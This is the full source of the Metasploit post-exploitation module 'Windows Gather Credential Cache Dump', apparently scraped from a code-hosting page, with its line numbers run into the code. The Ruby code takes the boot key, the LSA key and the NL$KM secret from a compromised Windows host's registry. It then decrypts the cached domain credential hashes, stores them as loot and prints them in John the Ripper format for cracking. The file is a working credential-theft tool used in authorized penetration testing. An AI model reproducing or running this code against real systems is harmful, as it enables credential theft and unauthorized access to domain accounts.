Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/cachedump.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Credential Cache Dump',15'Description' => %q{16This module uses the registry to extract the stored domain hashes that have been17cached as a result of a GPO setting. The default setting on Windows is to store18the last ten successful logins.19},20'License' => MSF_LICENSE,21'Author' => [22'Maurizio Agazzini <inode[at]mediaservice.net>',23'mubix'24],25'Platform' => ['win'],26'SessionTypes' => ['meterpreter'],27'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']],28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_railgun_api32stdapi_registry_open_key33]34}35}36)37)38end3940def check_gpo41gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')42print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")43end4445def capture_nlkm(lsakey)46nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')4748vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")4950if lsa_vista_style?51nlkm_dec = decrypt_lsa_data(nlkm, lsakey)52elsif sysinfo['Architecture'] == ARCH_X6453nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)54else # 32 bits55nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)56end5758return nlkm_dec59end6061def parse_decrypted_cache(dec_data, s)62i = 063hash = dec_data[i, 0x10]64i += 726566username = dec_data[i, s.userNameLength].split("\x00\x00").first.gsub("\x00", '')67i += s.userNameLength68i += 2 * ((s.userNameLength / 2) % 2)6970vprint_good "Username\t\t: #{username}"71vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"7273if lsa_vista_style?74if (s.iterationCount > 10240)75iterationCount = s.iterationCount & 0xfffffc0076else77iterationCount = s.iterationCount * 102478end79vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"80end8182last = Time.at(s.lastAccess)83vprint_good "Last login\t\t: #{last.strftime('%F %T')} "8485domain = dec_data[i, s.domainNameLength + 1]86i += s.domainNameLength8788if (s.dnsDomainNameLength != 0)89dnsDomainName = dec_data[i, s.dnsDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')90i += s.dnsDomainNameLength91i += 2 * ((s.dnsDomainNameLength / 2) % 2)92vprint_good "DNS Domain Name\t: #{dnsDomainName}"93end9495if (s.upnLength != 0)96upn = dec_data[i, s.upnLength + 1].split("\x00\x00").first.gsub("\x00", '')97i += s.upnLength98i += 2 * ((s.upnLength / 2) % 2)99vprint_good "UPN\t\t\t: #{upn}"100end101102if (s.effectiveNameLength != 0)103effectiveName = dec_data[i, s.effectiveNameLength + 1].split("\x00\x00").first.gsub("\x00", '')104i += s.effectiveNameLength105i += 2 * ((s.effectiveNameLength / 2) % 2)106vprint_good "Effective Name\t: #{effectiveName}"107end108109if (s.fullNameLength != 0)110fullName = dec_data[i, s.fullNameLength + 1].split("\x00\x00").first.gsub("\x00", '')111i += s.fullNameLength112i += 2 * ((s.fullNameLength / 2) % 2)113vprint_good "Full Name\t\t: #{fullName}"114end115116if (s.logonScriptLength != 0)117logonScript = dec_data[i, s.logonScriptLength + 1].split("\x00\x00").first.gsub("\x00", '')118i += s.logonScriptLength119i += 2 * ((s.logonScriptLength / 2) % 2)120vprint_good "Logon Script\t\t: #{logonScript}"121end122123if (s.profilePathLength != 0)124profilePath = dec_data[i, s.profilePathLength + 1].split("\x00\x00").first.gsub("\x00", '')125i += s.profilePathLength126i += 2 * ((s.profilePathLength / 2) % 2)127vprint_good "Profile Path\t\t: #{profilePath}"128end129130if (s.homeDirectoryLength != 0)131homeDirectory = dec_data[i, s.homeDirectoryLength + 1].split("\x00\x00").first.gsub("\x00", '')132i += s.homeDirectoryLength133i += 2 * ((s.homeDirectoryLength / 2) % 2)134vprint_good "Home Directory\t\t: #{homeDirectory}"135end136137if (s.homeDirectoryDriveLength != 0)138homeDirectoryDrive = dec_data[i, s.homeDirectoryDriveLength + 1].split("\x00\x00").first.gsub("\x00", '')139i += s.homeDirectoryDriveLength140i += 2 * ((s.homeDirectoryDriveLength / 2) % 2)141vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"142end143144vprint_good "User ID\t\t: #{s.userId}"145vprint_good "Primary Group ID\t: #{s.primaryGroupId}"146147relativeId = []148while (s.groupCount > 0)149# TODO: parse attributes150relativeId << dec_data[i, 4].unpack('V')[0]151i += 4152attributes = dec_data[i, 4].unpack('V')[0]153i += 4154s.groupCount -= 1155end156157vprint_good "Additional groups\t: #{relativeId.join ' '}"158159if (s.logonDomainNameLength != 0)160logonDomainName = dec_data[i, s.logonDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')161i += s.logonDomainNameLength162i += 2 * ((s.logonDomainNameLength / 2) % 2)163vprint_good "Logon domain name\t: #{logonDomainName}"164end165166@credentials <<167[168username,169hash.unpack('H*')[0],170iterationCount,171logonDomainName,172dnsDomainName,173last.strftime('%F %T'),174upn,175effectiveName,176fullName,177logonScript,178profilePath,179homeDirectory,180homeDirectoryDrive,181s.primaryGroupId,182relativeId.join(' '),183]184185vprint_good '----------------------------------------------------------------------'186if lsa_vista_style?187return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"188else189return "#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"190end191end192193def parse_cache_entry(cache_data)194j = Struct.new(195:userNameLength,196:domainNameLength,197:effectiveNameLength,198:fullNameLength,199:logonScriptLength,200:profilePathLength,201:homeDirectoryLength,202:homeDirectoryDriveLength,203:userId,204:primaryGroupId,205:groupCount,206:logonDomainNameLength,207:logonDomainIdLength,208:lastAccess,209:last_access_time,210:revision,211:sidCount,212:valid,213:iterationCount,214:sifLength,215:logonPackage,216:dnsDomainNameLength,217:upnLength,218:ch,219:enc_data220)221222s = j.new223224s.userNameLength = cache_data[0, 2].unpack('v')[0]225s.domainNameLength = cache_data[2, 2].unpack('v')[0]226s.effectiveNameLength = cache_data[4, 2].unpack('v')[0]227s.fullNameLength = cache_data[6, 2].unpack('v')[0]228s.logonScriptLength = cache_data[8, 2].unpack('v')[0]229s.profilePathLength = cache_data[10, 2].unpack('v')[0]230s.homeDirectoryLength = cache_data[12, 2].unpack('v')[0]231s.homeDirectoryDriveLength = cache_data[14, 2].unpack('v')[0]232233s.userId = cache_data[16, 4].unpack('V')[0]234s.primaryGroupId = cache_data[20, 4].unpack('V')[0]235s.groupCount = cache_data[24, 4].unpack('V')[0]236s.logonDomainNameLength = cache_data[28, 2].unpack('v')[0]237s.logonDomainIdLength = cache_data[30, 2].unpack('v')[0]238239# Removed ("Q") unpack and replaced as such240thi = cache_data[32, 4].unpack('V')[0]241tlo = cache_data[36, 4].unpack('V')[0]242q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)243s.lastAccess = ((q / 10000000) - 11644473600)244245s.revision = cache_data[40, 4].unpack('V')[0]246s.sidCount = cache_data[44, 4].unpack('V')[0]247s.valid = cache_data[48, 2].unpack('v')[0]248s.iterationCount = cache_data[50, 2].unpack('v')[0]249s.sifLength = cache_data[52, 4].unpack('V')[0]250251s.logonPackage = cache_data[56, 4].unpack('V')[0]252s.dnsDomainNameLength = cache_data[60, 2].unpack('v')[0]253s.upnLength = cache_data[62, 2].unpack('v')[0]254255s.ch = cache_data[64, 16]256s.enc_data = cache_data[96..]257258return s259end260261def decrypt_hash(edata, nlkm, ch)262rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)263rc4 = OpenSSL::Cipher.new('rc4')264rc4.key = rc4key265decrypted = rc4.update(edata)266decrypted << rc4.final267268return decrypted269end270271def decrypt_hash_vista(edata, nlkm, ch)272aes = OpenSSL::Cipher.new('aes-128-cbc')273aes.decrypt274aes.key = nlkm[16...32]275aes.padding = 0276aes.iv = ch277278decrypted = ''279(0...edata.length).step(16) do |i|280decrypted << aes.update(edata[i, 16])281end282283return decrypted284end285286def run287@credentials = Rex::Text::Table.new(288'Header' => 'MSCACHE Credentials',289'Indent' => 1,290'Columns' =>291[292'Username',293'Hash',294'Hash iteration count',295'Logon Domain Name',296'DNS Domain Name',297'Last Login',298'UPN',299'Effective Name',300'Full Name',301'Logon Script',302'Profile Path',303'Home Directory',304'HomeDir Drive',305'Primary Group',306'Additional Groups'307]308)309310begin311print_status("Executing module against #{sysinfo['Computer']}")312client.railgun.netapi32313join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']314315if sysinfo['Architecture'] == ARCH_X64316join_status &= 0x00000000ffffffff317end318319if join_status != 3320print_error('System is not joined to a domain, exiting..')321return322end323324# Check policy setting for cached creds325check_gpo326327print_status('Obtaining boot key...')328bootkey = capture_boot_key329vprint_status("Boot key: #{bootkey.unpack('H*')[0]}")330331print_status('Obtaining Lsa key...')332lsakey = capture_lsa_key(bootkey)333if lsakey.nil?334print_error('Could not retrieve LSA key. Are you SYSTEM?')335return336end337338vprint_status("Lsa Key: #{lsakey.unpack('H*')[0]}")339340print_status('Obtaining NL$KM...')341nlkm = capture_nlkm(lsakey)342vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")343344print_status('Dumping cached credentials...')345ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)346347john = ''348349ok.enum_value.each do |usr|350if !usr.name.match(/^NL\$\d+$/)351next352end353354begin355nl = ok.query_value(usr.name.to_s).data356rescue StandardError357next358end359360cache = parse_cache_entry(nl)361362next unless (cache.userNameLength > 0)363364vprint_status("Reg entry: #{nl.unpack('H*')[0]}")365vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")366vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")367368if lsa_vista_style?369dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)370else371dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)372end373374vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")375376john << parse_decrypted_cache(dec_data, cache)377end378379if lsa_vista_style?380print_status('Hash are in MSCACHE_VISTA format. (mscash2)')381p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')382print_good("MSCACHE v2 saved in: #{p}")383384john = "# mscash2\n" + john385else386print_status('Hash are in MSCACHE format. (mscash)')387p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')388print_good("MSCACHE v1 saved in: #{p}")389john = "# mscash\n" + john390end391392print_status('John the Ripper format:')393print_line john394rescue ::Interrupt395raise $ERROR_INFO396rescue ::Rex::Post::Meterpreter::RequestError => e397print_error("Meterpreter Exception: #{e.class} #{e}")398print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')399end400end401end402403404